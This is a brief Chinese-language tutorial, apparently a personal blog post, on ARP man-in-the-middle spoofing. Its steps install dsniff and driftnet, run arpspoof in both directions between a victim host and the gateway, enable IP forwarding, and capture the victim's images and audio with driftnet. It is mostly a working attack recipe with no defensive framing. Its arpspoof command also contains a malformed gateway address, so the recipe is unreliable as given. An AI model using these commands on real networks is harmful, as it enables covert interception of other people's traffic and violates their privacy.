ARP第三方中间人欺骗,伪装,监控数据
arp
- 安装dsniff和driftnet工具
$ yaourt -S dsniff driftnet
2. 假设被攻击者IP:192.168.254.40,网关:192.168.254.254
双向欺骗,一方面告诉被攻击者自己是192.168.254.254,另一方面告诉网关自己是192.168.254.40
$ arpspoof -i eth0 -t 192.168.254.40 -r 192.168.2545.254
3. 打开本地ip转发
$ echo 1 > /proc/sys/net/ipv4/ip_forward
4. 使用driftnet监听网络上的图片或音频
$ driftnet -i eth0
[email protected] 2017-6-2
时间: 2024-10-13 10:21:12